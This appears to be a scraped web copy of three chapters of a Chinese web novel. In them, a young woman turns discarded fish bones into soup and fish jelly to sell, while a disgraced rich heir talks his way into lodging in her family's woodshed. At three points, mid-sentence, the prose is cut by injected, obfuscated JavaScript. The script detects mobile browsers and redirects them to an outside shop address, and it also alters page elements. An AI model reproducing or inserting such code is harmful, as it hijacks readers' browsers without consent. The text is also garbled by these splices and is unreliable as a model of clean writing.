鱼贩子抬头看了她一眼:“姑娘,这些是我要扔的,你要它做什么?” “吊汤。” “这玩意还能吊汤?可别把调料糟践了!”鱼贩子表情诧异。 半月笑了笑,蹲着没动:“我就试试,行不行还不知道呢。” 鱼贩子打量半月一眼,见她穿着粗蓝布的衣裳,袖口打着补丁,却收拾得利落干净。 他想了想,把竹筐往前一推:“不要钱,你随便挑,省得我还要拎去扔。” “谢谢大叔,谢谢大叔!”半月连连道谢,随后蹲下来挑选。 鱼骨要新鲜的,带血的不要,腥味重。脊骨最好,吊出来的汤厚。她挑了一堆鱼脊骨,又从竹筐里扒拉出不少连着鱼鳍的碎肉。 这是鱼贩片鱼时剔下来的,肉少,又带鳍,没人看得上。但碎肉上连着的鱼鳍底下带一层薄薄的油脂,处理好了比脊骨还鲜。 半月把这些碎肉和脊骨一起用芭蕉叶包好,将竹篮子装得满满当当。 鱼贩子看着她挑,笑了一声:“姑娘会挑,这些脊骨是早上刚杀的!那边还有鱼头,要不要看看?便宜卖给你。” 半月顺着鱼贩子的指引,见旁边木盆里有几个鱼头,个大新鲜,便捡起一个问:“大叔,这个鱼头多少钱?” “五文钱一个。” 半月付了十文,买了两个鱼头,让鱼贩子帮忙剁开,用草绳拴着提在手上。 鱼贩子见她爽快,又从盆里捞了两条拇指大的小鲫鱼扔进去:“这个也给你,太小了没人买,拿回去熬汤吧。” “谢谢大叔!”半月连忙捧了一大捧大枣塞到鱼贩子手里,“自家树上结的,您尝尝。” 鱼贩子一愣,低头看枣,个大红艳:“使不得,鱼骨头又不值钱,鱼头你已经给过钱了。” “您拿着,您不收,我心里过意不去。”半月语气诚恳。 鱼贩子笑呵呵地把枣收下:“你这姑娘,倒是有心,行,那我就不客气了。” 半月提起竹篮,道了别。 竹篮比来时沉了许多,她提着有些吃力。 走到码头边上,她找了块阴凉地歇脚,打算过会儿再去买调料。 日头毒辣辣地晒着,码头上的石板都烫脚。 鱼头晒不得,半月赶紧把鱼头硬塞进了篮子里,用芭蕉叶遮了遮。 她怕热,不停地用手给自己扇风。 不远处的工人们扛完一船货,三三两两蹲在墙根底下歇气,就着凉水啃杂粮饼子。 半月看着他们,心里盘算:这些人中午就吃饼子喝凉水,要是能有一碗热汤,就算花一文钱,也有人舍得买。 “就说你不会做生意,笨死了!” 声音有些耳熟,半月站起来,四下张望。 “胖丫头,你眼神可真够差的,小爷在这儿呢!” 半月循着声音望过去,只见墙根角落里,沈金宝正靠墙坐着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500275|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,嘴里叼着根稻草,右腿翘在左腿上,一副悠哉悠哉的模样。 “你怎么还在这儿?”半月提着竹篮走过去。 “小爷爱在哪儿在哪儿。”沈金宝把稻草从嘴里拿下来,瞥了一眼她的竹篮,“沉了吧?让你带那么多不值钱的大枣。” 半月没理他的风凉话,把竹篮放在脚边,蹲下来歇气。 沈金宝伸脖子往竹篮里瞅了一眼:“你说你买鱼头就算了,还买鱼骨头、鱼鳍这些破烂做什么?” “熬汤。” “熬汤?”沈金宝嗤了一声,“就你?白水煮骨头,码头上的苦力可不买账。” “你怎么知道我要卖给码头上的工人?”半月反问。 沈金宝被噎了一下,别过脸去,嘟囔道:“猜的,你刚才盯着人家看半天,眼珠子都快掉进人家碗里了!” 半月撇了下嘴,心想这人管的真宽。 她站起身,刚要提起竹篮子离开,沈金宝喊住了她。 沈金宝用下巴点了点她的竹篮:“你还要去做什么?” “买调料。” “那你提着这一篮子东西满街跑?”沈金宝皱了皱眉,像是看不下去似的,伸手把竹篮拽到自己脚边,“放这儿,小爷帮你看一会儿,快去快回!” 半月愣了一下。 “看什么看?”沈金宝别过脸,又叼上那根稻草,“不是小爷想帮你,是你提着这破篮子走来走去晃得小爷眼疼。” 半月没拆穿他,站起来拍了拍身上的土:“那谢了。我很快回来。” 她刚转身要走,沈金宝又叫住她。 “哎。” 半月回头。 沈金宝犹豫了一下,从怀里掏出一小块碎银子:“帮我买两身换洗衣服,不用新的,能穿就成。拿着银子,你也不用担心我带着你的东西跑路。” 沈金宝把碎银子抛给半月。 半月接住银子,有些诧异沈金宝哪里挣得钱?不过她没多问,只应了一声:“好。” …… 等半月买完调料和衣服回来,沈金宝还坐在原地。 竹篮好好地搁在他脚边,他正低头拿根稻草在地上画圈。 半月把一包衣裳递给他:“试试,估摸着买的,应该能穿。” 沈金宝接过来翻了翻,没说什么,只“嗯”了一声,把衣裳抱在自己怀里。 半月蹲下来整理竹篮,把调料和其他东西放好,沈金宝在旁边看着。 “我走了。”半月打了声招呼,提着竹篮往家的方向走。 刚走出几步,沈金宝又喊住了她。 “胖丫头。” 半月回头,略带无奈地看了他一眼,这大少爷事儿怎么那么多? “那个…你们村,或者你家,还有没有空屋子?能住人的那种。” 半月蹙眉看着他。 沈金宝被她看得不自在,冷哼一声:“小爷给银子,不白住。” “你不是有地方住吗?” 沈金宝知道半月说的是土地庙,他撇撇嘴:“小爷又不是和尚,住什么土地庙!” “没有!”半月毫不客气的拒绝,扭身就走。 沈家倒了,谁知道会不会有人找沈金宝寻仇?她可不想给自家惹上麻烦! “哎,等会儿!你家柴房不是还空着吗?”沈金宝一瘸一拐的追上来。 半月连头也没回,直接不搭理他。 “我这脚可是因为救你爹才伤成这样的,现在连个遮风挡雨的地方都没有。那土地庙破得漏风,地上潮气重,夜里冷得骨头疼。要是把我疼死了,你良心过得去吗?” 半月终于停下来,转过身看着他,咬了咬牙:“过得去!你家姨娘差点打死我,你又救了我爹,功过相抵,两不相欠!” 见半月铁了心不管自己,沈金宝忽然往前一扑,“噗通”摔在地上。 “哎哟——” 半月吓了一跳,条件反射地伸手去扶,又硬生生收回来,站在原地瞪着他。 沈金宝趴在地上,也不起来,侧过脸看着她,眼神里带着点委屈,又带着点耍赖:“胖丫头,你走一个试试,小爷就趴这儿,等晚上野狗来啃。” 8. 鱼骨化鲜 半月气笑了:“你无赖是吧?” “小爷就无赖了。”沈金宝把脸埋进胳膊里,声音闷闷的,“脚疼得走不动了,你看着办。” 半月深吸一口气,蹲下来,盯着沈金宝的眼睛:“给你找地方住可以,但我有条件。” 沈金宝立刻抬起头。 “第一,住柴房可以,但是得交租子。” “行。” “第二,不准惹事,不能让村里人知道你是黄龙县沈家的,更不能让人来寻仇。” “行。” “第三…”半月顿了顿,“你脚好了之后,得自己另外找房住,不许赖在我家!” 沈金宝嘴角一弯,撑着地慢慢爬起来,拍掉身上的土:“行行行,都依你!三条腿的小爷见过,三条规矩的小爷也见过,没见过你这么啰嗦的。” 半月冷笑一声,举起四根手指:“还有第四条,要是我家里人不同意,以上说的都不作数!” 沈金宝眼珠一转,管他家里人同不同意呢,先去了她家再说。 “行,都听你的!” 半月站起身,提起竹篮:“走吧,柴房你自己收拾,我可不管。” 沈金宝把那包衣裳夹在腋下,一瘸一拐地跟上来,脸上挂着得逞的笑。 “胖丫头。” “又怎么了?” “你心真软,这样下去迟早被人骗。” “闭嘴!” 沈金宝果然闭了嘴,但嘴角一直弯着,走路也不觉得疼了。 他走在半月边上:“东西给我。” 半月侧头看他:“什么?” “小爷手空着,你提着那么沉一篮子,丢不丢人?” 半月没跟他争,把竹篮子递给他,免费的劳力不用白不用。 沈金宝接过去,吊儿郎当地跟在后面。两人一前一后往瓦窑村走,半月顾及他腿脚不便,路上刻意放慢了脚步。 到瓦窑村的时候,日头已经偏西了。 到了自家院子门外,半月停下来,瞥了沈金宝一眼:“一会儿在我娘面前别乱说话,否则我也帮不了你。” 沈金宝“嗯”了一声,难得没顶嘴。 半月推开院门,刘翠兰正在灶房里忙活,听见动静探出头来,目光落在沈金宝身上,脸色一下子就沉了。 “他怎么来了?” 半月张了张嘴,还没想好怎么开口,沈金宝先说话了。 “婶子,我想借住几天,不给您添麻烦,有个柴房住就成,我交租子。”他说得客气,声音不大,跟之前那个吊儿郎当的公子哥判若两人。 刘翠兰冷冷地看了他一眼:“不行,我们家不招外人。” 顿了顿,她又补了一句:“你是沈家的人,这个家姓李,容不下你。” 半月正想帮沈金宝说两句,沈金宝却一声没吭,只把那包衣裳夹在腋下,转身往外走。 半月看着他的背影,心里奇怪,他怎么不争辩了?先前在码头还死皮赖脸地耍无赖,这会儿反倒老实了? 她想叫住他,被刘翠兰一个眼神瞪了回去。 沈金宝走到院门口,左腿拖在地上,迈门槛的时候绊了一下,整个人往前一栽,“扑通”摔在地上。 半月心里紧了一下,差点迈出脚去,又忍住了。不知道这人是真摔还是假摔? 沈金宝撑着地慢慢爬起来,拍了拍膝盖,没回头,继续往外走。 走了两步,右腿打了晃,又摔了。 这次摔得重,胳膊肘撑着地,半天没起来,那包衣裳散开,滚了一地。 半月偷偷看了刘翠兰一眼,刘翠兰脸上没表情,但嘴唇抿得紧紧的,手不自觉地攥着围裙边。 沈金宝爬起来,蹲在地上把衣裳一件一件捡回来,抱在怀里,站起来。他明显在咬牙,半月看到他腮帮子鼓了一下。 他又往前迈了一步。 这一步没摔,又迈了一步。 刘翠兰忽然别过脸去,声音硬邦邦的:“他爱走不走,跟咱们没关系。” 半月没接话,她知道刘翠兰嘴硬心软,心里头八成已经在动摇了。 院门外传来一声闷响。 半月探出头去,沈金宝又摔了! 这回摔在路边的土堆上,半条腿陷进松土里,半天没动静。 他撑着地试了两回,都没站起来。 半月又看了刘翠兰一眼,刘翠兰正透过门帘那道缝往外看,眉头拧成了一个疙瘩。 “行了!” 刘翠兰猛地掀开门帘,快步走出去。 沈金宝正撑着地想再试,听见声音,动作顿了一下,却没抬头。 刘翠兰走到他跟前,一把拽住他的胳膊,把他往里拉:“进来!” 沈金宝被她拽得一个踉跄,稳了稳,嘴里还说:“婶子,不用麻烦了,我再找别处……” “找什么找!”刘翠兰的声音又硬又急,手上的劲儿却没松,“脚都这样了,走两步摔三跤,你是想死在外头?” 沈金宝不吭声了,任由刘翠兰把他拉进院子。 刘翠兰甩开他的胳膊,转过身,手指点着他:“柴房自己收拾,不许乱动家里的东西,不许惹事,听见没有?” 沈金宝垂下眼,乖乖应了一声:“听见了。” 刘翠兰转身要走,又停了一下,声音放低了些:“灶房里有热水,自己打一盆,把身上的泥洗洗。” 说完,她掀开帘子进了灶房,肩膀明显松了下来,像是终于给自己找了个台阶。 沈金宝站在原地,手里抱着那包衣裳,嘴角慢慢弯了一下,又赶紧抿住。 半月瞧见了他那抹偷笑,苦肉计?哼,这人脸皮可真厚! 她撇了沈金宝一眼,压低声音说:“进来吧,柴房在那边,自己收拾。” 沈金宝“嗯”了一声,一瘸一拐地往柴房走,走了两步,忽然回过头,看了半月一眼。 “谢了。” 半月没接话,缩回头,进了灶房。 灶房里,刘翠兰正背对着她烧火,锅里的水已经滚了,她还在不停地添柴。半月知道,刘翠兰心里头其实已经软了,只是面子上还硬着。 “娘。” “别说了。”刘翠兰打断她,“让他住几天,脚好了就叫他走。” 半月“嗯”了一声,蹲下来帮刘翠兰添柴。 灶膛里的火噼啪响着,映得两人脸上忽明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500276|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽暗。 “娘,我买了些鱼货,先收拾一下。”半月想起了正事,腾的一下站起来。 她把竹篮里的东西拿出来,放到案板上。鱼脊骨连着碎肉,鱼鳍边的肉带着油,鱼头已经剁开,能看到里面的脑髓。 她用清水冲洗干净,拿盐搓了搓,去腥。 然后取出新买的生姜,切成丝,揉在鱼货里。 刘翠兰在旁边看着,终是没忍住,问了句:“你买这些个东西花了多少钱?” “鱼骨没花钱,卖鱼大叔给的,鱼头花了十文,还买了些调料,买了两块豆腐,差不多花了四十来个铜板。”半月没打算瞒她。 “啊?”刘翠兰嘴巴张得老大,个败家孩子,一次就花了她爹三天才能挣到的工钱,以后还是由自己管钱算了。 刘翠兰虽然震惊,但到底没出口指责半月,还帮着她一起处理鱼货。她拎起鱼头,拿刀背仔细刮掉表面的黑膜,又用清水反复冲洗鱼骨间的残血,一边洗一边把碎肉上多余的油脂剔下来,码在碗里留着提鲜。 过了一阵,鱼货都处理好了,锅里的水也还开着,半月便把鱼骨、鱼油下到锅里,鱼头则是等水再次烧开了再下。 刘翠兰盯着锅里,看得心疼:“咱们寻常人家,一顿就吃这么好,是不是太糟践了?” 半月微微一笑:“娘,这鱼我是打算熬好了拿去卖的。” “卖?”刘翠兰一愣,“这鱼骨头和边角料熬的汤,能有人买?” “娘,铁定能卖出去的,您就等着瞧吧。”半月笑着把锅盖盖上,让汤咕嘟咕嘟地滚着。 刘翠兰心里觉得不踏实,但看着半月忙前忙后的样子,到嘴边的话又咽了回去。 这孩子刚从鬼门关捡回一条命,能好好站着跟她说话,已经是老天爷开恩了。浪费点鱼就浪费点吧,只要人还在,比什么都强,随她折腾去吧! 灶膛里的火烧得旺旺的,锅里的汤咕嘟咕嘟地响,院子里渐渐飘起一股鲜香味儿。 半月看了一眼灶房门口。门帘没放下来,能看见沈金宝坐在斜对面柴房门槛上,正在拿布条缠脚踝,头低着,看不清表情。 柴房那边,沈金宝抬起头,往灶房这边看了一眼。暮色里看不清他的脸,但半月觉得他在笑。 她别过脸,不再看,专心烧火。 日头又往下沉了沉,院子外传来脚步声。 李有福扛着扁担回来了,肩上还搭着条汗巾。 他推开院门,扁担还没搁下,就看见柴房亮着一点光,门半敞着,里头有人影晃了一下。他愣了一下,放下扁担走过去,往里看了一眼。 沈金宝正蹲在地上铺干草,他把那包旧衣裳叠整齐了垫在干草上,旁边搁着一盆用过的水,脸上和手上的泥已经洗掉了,露出底下原本的肤色,比在码头时白净,但颧骨和嘴角的淤青还在,脸上笑盈盈的。 “你怎么还在这儿?” 沈金宝抬起头。 李有福站在柴房门口,眉头拧成一团。 “我……沈金宝扶着墙站起来,“李叔,我腿还没好利索,想借住几天。” “不行!昨晚说好的,今天天亮了就走!”李有福声音很强硬。 9. 改名换姓 半月从灶房里出来,叫了一声爹。李有福没看她,盯着沈金宝。 “你帮过我,我留你住了一晚,但你不能住这儿。瓦窑村巴掌大的地方,谁家多个人全村都知道,你一个大男人住在我家,传出去我闺女的名声还要不要了?” 半月张了张嘴,她之前只想着沈金宝没地方去,倒没想过这一层。大宁朝虽说不像前朝那样把男女大防挂在嘴边,但乡下地方,未婚姑娘家里住进个外男,传出去总归不好听。 “爹——”半月想说什么,又咽了回去。她知道李有福的脾气,认准了的事十头牛都拉不回来,这会儿硬顶只会火上浇油,得先顺着他说,等人消了火,再慢慢商量。 “翠兰!”李有福冲灶房喊了声。 刘翠兰从灶房里走出来,围裙上还沾着面糊。她看了一眼李有福的脸色,又看了一眼柴房里的沈金宝,嘴唇动了动。 “他到底救过你,脚又还肿着,走两步摔三跤,我怎么让他走?”刘翠兰接着说,“让他住几天,腿好了就走,柴房又不是正屋,碍不着半月什么。” “碍不着?救我是他的事,留他是全家的事!”李有福的声音拔高了,“你今天让他住柴房,明天村里人就传李家收留了个来历不明的男人。后天传到镇上,人家问起来,说李家闺女家里住了个外男,你怎么跟人解释?” 刘翠兰咬了咬嘴唇,心里犯了嘀咕,她本不想留人,是看见沈金宝摔得可怜才心软,这会儿被李有福一说,女儿的名声确实是大事。 可她先前已经松了口,当着沈金宝的面又不好反悔,便别过脸去,声音低了许多:“他是实在没地方去才想在这儿……” “他不是没地方去。”李有福说,“码头东边那个土地庙,既能遮风又能挡雨。” 柴房里安静了一瞬,沈金宝弯腰把铺好的干草拢了拢,又把那包旧衣裳重新夹在腋下。 “李叔说得对,我一个外人住这儿,对半月不好。” 他扶着墙慢慢走出来,左腿点着地,经过半月身边的时候,停了一下。 “多谢昨晚那顿饭。” 说完,他一瘸一拐地往院门口走,走到门口的时候踉跄了一下,扶住门框稳了稳。 “等等。” 所有人的目光都落在半月身上。 半月走到沈金宝面前,看着他的眼睛,他在码头上那股耍无赖的劲儿没了。他站在原地,等着她说话,脸上没什么表情,只有颧骨上的淤青在暮色里泛着暗紫。 “你说借住柴房,交租子,这话还算不算数?” 沈金宝看着她。 “算。” 半月转过身,看着李有福。 “爹,他不是白住,他交租子。” 李有福的眉头还是拧着:“租子?” 沈金宝站在院门口,晚风把他那件粗蓝布衣裳吹得动了动。他把手伸进怀里,摸了好一会儿,摸出一小锭银子,搁在院中的石桌上。 所有人的目光都落在那块银子上,不算大,但成色足,暮色底下泛着柔和的光,是一两银子! 院里安静了。 大宁朝一两银子兑两千个铜板,李有福在码头上扛沙包,一天挣十五文,一个月不歇也才四百五十文。这一小锭银子,抵得上他小半年的工钱! “你、你哪来这么多银子?”刘翠兰先反应过来。 “当了……”沈金宝顿了一下,改了口:“当初离家的时侯带出来的,不多,就这一块。” 沈金宝没说当了母亲遗物的事,他的目光落在那块银子上,停了一下。 “沈家倒了以后,身上就剩这点东西了,花完再没别的了。”他抬起眼,语气没什么波澜,“我说过交租子,绝不骗人” 李有福看着那块银子,眉头拧得更紧了,他知道这一两银子能帮家里喘上好大一口气,可…… “收回去,这不是钱的事。”李有福声音冷硬,态度坚决。 沈金宝垂下眼睛,盯着石桌上的银子看了一眼,喉结滚了一下,终是再没说出留下的话。 这时候,院门被推开了。 李冬生走进来,书袋搭在肩上,低着头。他走到石桌前,把书袋搁下,谁也没看,自己搬了条板凳坐下来。 半月一眼就看出不对劲,平时放学回来,这小子进门就喊饿,今天却一声不吭。 “冬生,怎么了?”刘翠兰也察觉到了。 李冬生趴在石桌上,把头埋在臂弯里:“先生今天催束脩了。” 院里安静了一瞬。 “我说家里紧,下个月补上。”李冬生的声音闷闷的, “先生说已经拖了三个多月了,同窗都交了,就我没交。王大宝他们都笑我,说我家穷得连束脩都交不起,还读什么书。” 他抬起头,一双眼睛红红的,睫毛湿着,但他咬牙没让眼泪掉下来。 “爹,娘,下个月我不去了。” “你说什么?”刘翠兰的声音变了。 “我不去学堂了。”李冬生说,“爹在码头扛沙包,累死累活一个月也攒不够束脩。我在学堂里坐着,心里不踏实,我不读书了,帮爹干活,扛沙包也好,抓鱼也好,总能挣几个钱。” 没有人说话,灶房里的火光跳了跳,把李冬生的影子拉得老长。他坐在那儿,十二岁的肩膀瘦瘦的,衣服袖口早磨出了毛边。 半月看着李冬生发红的眼眶,喉咙里像堵了什么东西。上辈子她一个人打拼,再难也没有人替她扛过。这辈子这个家为她掏空了家底,现在连冬生的束脩都交不起了。 她张嘴想说什么,话还没出口,刘翠兰先开了口。 “收下。” 所有人的目光都转向刘翠兰。 刘翠兰走到石桌前,把被书袋遮住的银子拿起来,攥在手心里。她抬起头看着李有福,声音不大,却稳稳当当:“这银子我收下了。” “翠兰……” “冬生不能不去学堂。”刘翠兰的眼眶红了,语气却没有犹豫。 “当家的,我跟着你过了半辈子,没求过你什么事。今天这事我求你了,柴房空着也是空着,他愿意交租子就让他住。这银子够冬生交大半年的束脩,你就算不为家里想,你也为冬生想想。” 说完,她别过脸,用袖子擦了一把眼睛。 李有福的喉结动了动,他看着刘翠兰,看着她手里的银子,又看了看李冬生红红的眼眶。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17500277|202692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他转过身,蹲在门槛上,从怀里摸出旱烟袋,“啪嗒啪嗒”抽了起来。他的肩膀塌下去,像是被什么东西压住了,半天没说一句话。 刘翠兰擦了把眼睛,把碎银子收进袖子里,转头看向沈金宝:“你打算住多久?” 沈金宝靠在柴房门框上,想了想:“三个月,脚养好了,我自己走。” 刘翠兰心里暗暗松了口气,就一间柴房,一两银子别说三个月,就是住半年也值了。她没再说什么,转身进了灶房。 李冬生这才后知后觉地反应过来家里多了个人,他站起来,瞪大眼睛,手指着柴房边的沈金宝:“你、你要住我家?!” 沈金宝靠着门框,嘴角微微一弯,“今儿起,我就是远方逃难来投奔你们家的远亲。李金宝、刘金宝,随你们怎么叫,或者,就叫我金宝也行。” 他说这话的时候,语气轻飘飘的,却把最难办的事一句话就圆了过去。 李冬生张着嘴,看看沈金宝,又看看半月:“胖丫,姓沈的连姓都改了!” 半月抿了一下唇:“改了也好,姓沈树大招风,姓李姓刘没人多问。” 李冬生一屁股坐回板凳上,半天憋出一句:“他成远亲了,那我管他叫什么?” “叫哥。”沈金宝勾着嘴角。 “哼!”李冬生瞪了他一眼,别过脸去。 刘翠兰从灶房里探出头来:“都别站着了,吃饭!” 她端着一碟腌萝卜、五个杂粮饼子走出来,搁在石桌上。 半月则是把灶房里温着的鱼骨豆腐汤盛了一瓦罐端出来。鱼汤已经在灶上用小火煨了一个多时辰,汤色奶白,切成丁的豆腐颤颤巍巍,香气从瓦罐里涌出来。 她把瓦罐放在石桌中间,李冬生凑过来,鼻子使劲嗅了嗅:“胖丫,这是什么汤?” “鱼骨豆腐汤。”半月抿唇一笑。 刘翠兰盛了一碗,走到门槛边递给李有福。李有福还蹲在那儿。他接过碗,低头喝了一口,眼里闪过惊讶。然后他站起来,走到石桌边坐下。 “这味道……”他看着半月,眼神有些恍惚,“和你爷爷以前做的一样。你爷爷年轻时在大酒楼当过帮厨,学过这手,后来回了村,就再没做了,他说费功夫的东西,在乡下没人认。” 半月怔了一下,她穿越而来,只知道这具身体从前跟着李有福颠勺,却不知道爷爷还有这样的故事。 她低头看着碗里奶白的鱼汤,忽然觉得,这锅汤不只是她临时起意的买卖,更像是某种断了多年的东西,在她手里续上了。 李冬生已经端着自己那碗,呼噜呼噜喝起来,含糊不清地说了一句:“我认!谁说不认我跟谁急!” 刘翠兰忍不住笑出了声,半月也弯了弯嘴角,一桌子的人都笑了起来。 笑声里,沈金宝端起自己那碗,低头喝了一口,然后停了下来,抬起眼看半月,那表情说不清是惊讶还是别的什么。 半月心里咯噔了一下。 怎么了?是不好喝?她这汤照理说不会出岔子啊?可这人嘴刁得很,连鱼干的咸鲜度都能说得分毫不差,万一他真挑出什么毛病来…… “怎么样?”她问,语气不自觉地绷紧了。 10. 玲珑鱼冻 沈金宝嘴唇动了动:“还行。” 半月先是一愣,随即在心里松了口气。 还行?就这?她差点以为他要挑出什么刺来,白白紧张了半天。 她白了沈金宝一眼,端起自己的碗,也喝了一口。汤味醇厚,豆腐嫩滑,明明好得很。“还行”两个字,从他嘴里说出来,跟夸也差不多了。 沈金宝把碗里鱼汤喝干净后,自己又从瓦罐里盛了一碗。 李冬生“嗤”了一声:“还行你喝那么快。” 李冬生嘴上不饶人,手里也没闲着,喝了两碗,让半月又给他添了半碗。 吃完晚饭,刘翠兰起身收拾碗筷。李有福搬了条板凳坐在院门口搓草绳,月光照着他糙了一辈子的手指。 沈金宝扶着墙慢慢站起来,往柴房走。走到门口,他停下脚步,回过头,目光落在半月身上。 “还差一点酸味,醋不能多,两滴就够,提鲜,不抢味。”说完,他一瘸一拐地进了柴房 半月看着沈金宝的背影,没说话,把这话记在了心里。 第二天一大早,天刚蒙蒙亮。李有福扛着扁担去码头了,李冬生背着书袋也出了门。 半月推开灶房的门,掀开铁锅的盖子。 锅里的鱼汤已经完全凝住了,鱼骨和鱼皮里的胶质被小火慢慢熬出来,经过一夜的寒气,结成晶莹透亮的鱼冻。表层浅黄,光滑细腻,勺子轻轻一压,微微发颤,颤巍巍的像一块温润的琥珀。 半月思考了一下,拿刀在锅中间划了两刀,小心取出四分之一,扣在案板上。 鱼冻像一块浅琥珀色的玉石,里面封着豆腐丁和细碎的鱼肉,晨光透过窗户照在上面,能看见冻子里面一层一层的纹理,透亮又好看。 她将鱼冻切成两指宽的长条,再用横刀切成薄片,码在木盆里。又调了一碗蘸料,醋、姜丝、一点点盐,搅匀了,均匀的浇在鱼冻上。 刘翠兰推门进来,一眼看见木盆里码得齐整的鱼冻片,愣住了。 “胖丫,你这又是做的啥?” “凉拌鱼冻。娘,您尝尝。”半月装了一小碗,递给她。 刘翠兰接过碗,拿筷子夹了一片,送进嘴里。 鱼冻入口即化,根本不用嚼,醋的酸把鱼鲜提上来,姜丝的辣在舌尖上跳了一下,冻子里封着的豆腐丁还保持着昨晚的嫩滑。 “这……这也太好吃了!”刘翠兰说话都结巴了,筷子又伸出去,又夹了一大片塞进嘴里,含混不清地说,“我的天,胖丫,你这脑子是怎么长的?” 半月笑了:“娘,您慢点吃,盆里还有。” 刘翠兰把嘴里的鱼冻咽下去,放下筷子,认真地看着半月:“这个……也能卖?” 半月点点头:“热汤鲜香暖胃,鱼冻嫩滑爽口,一样东西,两种吃法,赚两份钱,应该是可行的。” “我闺女就是聪明!”刘翠兰高兴得拍了一下手,“还需要做啥?娘来帮你!” 半月往灶台方向看了一眼:“娘,您帮我烧火,把锅里的鱼冻烧开就行。” “成!”刘翠兰在围裙上擦擦手,坐在灶台后的小凳子上,添柴烧火。 不多久,灶上的鱼汤烧开了,热气从锅里直往上扑。鱼冻化回奶白色的汤,豆腐丁在锅里上下跳动,汤看着比昨晚又稠了一分,表面泛着一层淡淡的油光。 半月切了一把野葱撒进去,想起沈金宝说的话,又往锅里滴了两滴醋。 白气蒸腾,酸鲜味随着蒸汽弥漫开来,整个灶房都是香的。 这时候,院墙外边传来一阵脚步声,紧接着是隔壁王翠花王婶子的大嗓门。 “哎哟翠兰,你家这是什么味啊?香得我在自家院子里都站不住了!” 刘翠兰和半月闻声往外走。 王翠花推开院门探进头来。她四十来岁,圆脸,头上包着块青布帕子,手里端着一碗自家腌的咸菜。一进门就看见了坐在石桌边晒太阳的沈金宝。 “这位是……?”王翠花看向刘翠兰。 沈金宝撑着石桌站起来,整了整身上的麻布衣裳,冲王翠花笑了笑。 “婶子早,我是冬生家的远房表亲,家里遭了难,来投奔表叔表婶,您叫我金宝就成。” 他说得不紧不慢,声音不大,但清清楚楚。脸上那伤还没好全,颧骨上隐隐约约还有一点青,但模样儿俊,笑得又诚恳,王翠花看了他一眼,又看了刘翠兰一眼。 “表亲?咋没见过?” “远房的。”沈金宝说,“以前住在南边,逢年过节走动得少,这回家里遭了水灾,实在是没地方去了,厚着脸皮来投奔表叔家。” 王翠花“哦”了一声,上下又打量了他一回,目光落在他肿着的脚踝上。沈金宝顺着她的目光低头看了看自己的脚,笑了一下。 “逃难路上摔了一跤,不碍事。” “这孩子。”王翠花咂了咂嘴,“模样儿倒是俊,就是命苦。翠兰啊,你家亲戚投奔你,你也不早说!昨儿是听说有个陌生人来村里,原来就是你家的。” 刘翠兰嘴唇动了动,还没想好怎么接话,沈金宝已经替她说了。 “表婶心善,收留我就是大恩了,哪好意思到处说。家里柴房腾给我住,还管饭,我这辈子都记着。”他说着转向刘翠兰,语气真诚得半月在旁边差点信了。 就说留他住,谁说要管他饭了? 王翠花连连点头:“是是是,翠兰这人就是面冷心热,我做了二十年邻居,我最知道。” 刘翠兰嘴角抽了一下,转身进灶房装了一小碟鱼冻端出来。 “翠花,这是我家胖丫做的,尝尝。” 王翠花也不客气,拿筷子夹了一片鱼冻,吃了一口,眼睛就亮了。 “这是鱼做的?” “鱼骨熬的汤,凝了一晚上冻成块了。”半月从灶房里端出一碗热鱼汤,放在石桌上,“王婶子,您再尝尝这个。” 王翠花端起碗喝了一口,热汤顺着喉咙滑下去,鲜得她眉毛都舒展开了。 “我说胖丫啊,你这手艺,不去黄龙县开馆子可惜了!”她把带来的咸菜往半月面前推了推,“这是我腌的,不是啥金贵玩意儿,你们尝尝,街坊邻居的,莫嫌弃哈!” 半月笑着收下咸菜:“都是邻里邻居,哪儿有嫌弃一说?这汤您喜欢就多喝一碗,锅里还好。” 王翠花冲刘翠兰乐呵呵道:“翠兰,别说你家胖丫遭了一次难,是越发懂事了哈。” 王翠花喝着汤,眼睛却还瞟着沈金宝:“你家这表亲,多大年纪了?” 沈金宝没等别人开口,自己笑着答了:“十八。” “说亲了没有?” 半月在旁边“噗嗤”笑出声来,又赶紧捂住嘴。沈金宝面不改色,笑容还是稳稳当当的。 “家里遭了难,哪有心思想这个,先帮着表叔表婶把日子过起来。” 王翠花拍了一下大腿:“说得好!年轻人就该这样,不像我家柱子,二十了还没个正形。” 她把空碗搁下,冲半月说:“你爹路上跟我说,让柱子他爹帮你留意留意,谁家要席面师傅的。你那手艺不去接席面可惜了,如今那背时沈家倒台了,你们也不用怕了!” 半月看到沈金宝的表情不自然了一瞬,但很快就恢复了正常。 “好,谢谢婶子!”半月笑着应了声。 